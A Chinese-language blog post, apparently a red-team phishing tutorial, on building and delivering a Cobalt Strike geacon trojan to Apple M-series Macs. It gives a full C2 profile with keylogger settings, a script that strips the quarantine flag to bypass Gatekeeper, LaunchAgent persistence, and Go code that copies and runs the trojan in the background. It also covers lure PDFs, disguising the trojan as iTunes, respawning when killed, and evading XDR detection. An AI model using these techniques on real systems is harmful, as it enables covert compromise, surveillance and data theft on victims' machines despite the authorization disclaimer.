这里为什么把m系列单独列出来,是因为inter的处理器大家应该都知道C2生成的脚本能够直接用,但在m系列c2却无法使用。因为两个处理器的体系架构不一样,一个x86一个是ARM。并且网上目前系统性针对m处理的钓鱼较少,顾谋生了写此文章的想法。因内容比较敏感,为了防止被和谐,部分代码已删除,该文章主要以思路演示为主。
本地信息:
实操:
首先制作木马,这种我们使用geacon即可。该go语言生成可直接编译成unix可执行脚本。这种脚本在mac上可直接运行。
目前有多个版本进行参考,原版:geacon,二开版:edit_geacon和geacon_pro等。
具体的使用方法以上地址都有说明,这里就不做阐述。
主要修改的点是在RsaPublicKey该数值可通过tools把cs的key值打印出来,用来做通信。
修改完我们的信息然后进入命令窗口,通过go指定运行平台export GOOS="darwin" && export GOARCH="amd64"编译go build main.go生成一个可执行文件。
然后在cs服务器端配上c2 profile,运行时并进行加载该文件。
C2内容如下:
\# default sleep time is 60s
set sleeptime "3000";
set jitter "7";
https-certificate {
set C "KZ";
set CN "foren.zik";
set O "NN Fern Sub";
set OU "NN Fern";
set ST "KZ";
set validity "365";
}
\# define indicators for an HTTP GET
http-get {
set uri "/www/handle/doc";
client {
#header "Host" "aliyun.com";
\# base64 encode session metadata and store it in the Cookie header.
metadata {
base64url;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
\# server should send output with no changes
#header "Content-Type" "application/octet-stream";
header "Server" "nginx/1.10.3 (Ubuntu)";
header "Content-Type" "application/octet-stream";
header "Connection" "keep-alive";
header "Vary" "Accept";
header "Pragma" "public";
header "Expires" "0";
header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";
output {
mask;
netbios;
prepend "data=";
append "%%";
print;
}
}
}
\# define indicators for an HTTP
http-post {
\# Same as above, Beacon will randomly choose from this pool of URIs \[if multiple URIs are provided\]
set uri "/IMXo";
client {
#header "Content-Type" "application/octet-stream";
\# transmit our session identifier as /submit.php?id=\[identifier\]
id {
mask;
netbiosu;
prepend "user=";
append "%%";
header "User";
}
\# post our output with no real changes
output {
mask;
base64url;
prepend "data=";
append "%%";
print;
}
}
\# The server's response to our HTTP POST
server {
header "Server" "nginx/1.10.3 (Ubuntu)";
header "Content-Type" "application/octet-stream";
header "Connection" "keep-alive";
header "Vary" "Accept";
header "Pragma" "public";
header "Expires" "0";
header "Cache-Control" "must-revalidate, post-check=0, pre-check=0";
\# this will just print an empty string, meh...
output {
mask;
netbios;
prepend "data=";
append "%%";
print;
}
}
}
post-ex {
set spawnto\_x86 "c:\\\\windows\\\\syswow64\\\\rundll32.exe";
set spawnto\_x64 "c:\\\\windows\\\\system32\\\\rundll32.exe";
set thread\_hint "ntdll.dll!RtlUserThreadStart+0x1000";
set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
set keylogger "SetWindowsHookEx";
}
这个时候我们mac双击生成的脚本即可直接运行。并在cs上线。
但是运行期间会有窗口,关掉窗口,随机木马也会断掉。我们需要隐藏我们的木马文件让它在后台运行。
这个时候我们会使用app应用程序进行加载。创建一个app应用。
然后使用我们的脚本替换掉这个脚本,即可。然后我们双击该app即可完成上线。
但是这么一个木马,如果通过公网下载,不管是从邮件上还是在云捅上,都会提示未知开发者。如果想要信任需要从这个地方去添加信任,但通过通知默认的添加信任方式,是进入到隐私与安全性,这里是需要输入管理员用户密码,但我们此刻只是普通用户。我们需要思考一个问题,如果让添加信任这一步变得尽可能简单,需要让用户在不知情的情况下默认授权改应用为信任应用。
方法一:
这个时候需要用到一个命令,可在用户点击时默认加入到信任当中。这种方式可以不通过偏好设置中需要管理员权限,只需要当前普通用户即可直接执行。避免木马出现弹窗引起怀疑。并加载到启动项当中,防止重启断开木马。
添加信任:
xattr -rd com.apple.quarantine "$APP_PATH"
部分代码如下:
#!/bin/bash
APP\_PATH="$HOME "
xattr -rd com.apple.quarantine "$APP\_PATH"
open "$APP\_PATH"
PLIST\_NAME="com.xxx.plist"
PLIST\_PATH="$HOME/Library/LaunchAgents/$PLIST\_NAME"
添加启动项方法:
<plist version="1.0"\>
<dict\>
<key\>Label</key\>
<string\>runscript</string\>
<key\>ProgramArguments</key\>
<array\>
<string\>/bin/sh</string\>
<string\>/path/to/your/script.sh</string\>
</array\>
<key\>RunAtLoad</key\>
<true/\>
</dict\>
</plist\>
添加到mac启动项示例:
如果觉得sh拓展文件显眼。不提示开发者的方式还有另一种方法。
方法二:
通过后台执行我们编译后的脚本。
我这里写了个go,是指定目录复制木马到我们想要的目录下。该方法需要把木马和go编译后的脚本一同打包。通过后台运行并把该木马加入到mac启动项。
代码示例:
package main
import (
"io"
"io/ioutil"
"os"
"os/exec"
"os/user"
"path/filepath"
)
func main() {
currentUser, err := user.Current()
if err != nil {
return
}
executablePath := filepath.Join(currentUser.HomeDir, "filepath", "sogia", "xxx")//路径
destinationPath := filepath.Join(currentUser.HomeDir, "xxx")
if err := copyFile(executablePath, destinationPath); err != nil {
return
}
if err := os.Chmod(destinationPath, 0755); err != nil {
return
}
cmd := exec.Command("命令", destinationPath)
if err := cmd.Start(); err != nil {
return
}……
添加到mac启动项示例,当然也可以伪造成其它进程:
方法三:直接写一个下载并执行程序的脚本。下载好应用程序自动执行应用,并添加到启动项当中。(该方式有个弊端,就是取决于用户的网速,因为go生成的木马文件较大大概在7m左右,有些公司办公网下载速度为1m或者2m,随着网速的不同这些需要等待的时间就会被拉长。等待期间会有go的命令窗口,运行完会自动关闭窗口这会给目标几秒的反应时间,只要手动中止会话木马就会终止下载)。
方法四:把木马和脚本一起带入到压缩包,然后写一个下载解压然后把该木马移动到其它目录并执行影子文件。
方法五:生成具有诱使人点击的pdf,类似简历、工资单、职位说明等,并把木马嵌入到pdf当中。
东西都准备好测试完成后,然后把脚本图标或者应用,名称改掉,伪造其它应用程序,让用户无法通过肉眼找到木马。我这里使用ps抠出来一个itunes。注:针对不同的mac版本目标伪造什么样的应用。该钓鱼方式针对处理器inter-m2系列均可正常上线。
伪造进程木马上线效果图。加入启动项后,用户无法kill掉,每次kill都会拉取新的进程。并且也不会受到重启木马消失的情况。
国外的杀软大多数是根据行为进行监控和拦截。加了统一管理的mac大多数监控的为shell命令,以xdr为例的话,上线cs不可直接执行shell whoami,如果执行会直接终止当前木马,并提示告警到安全运维。可以通过beacon或者调用zsh执行方式去执行。
如果各位大佬们有疑问或者有更好的思路的欢迎沟通交流大家互相学习,微信号:ID_Picture
说明:本人只提供思路相互学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。内容中思路技巧等只允许在目标授权的情况下进行使用。
参考木马生成的链接:
https://github.com/darkr4y/geacon
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!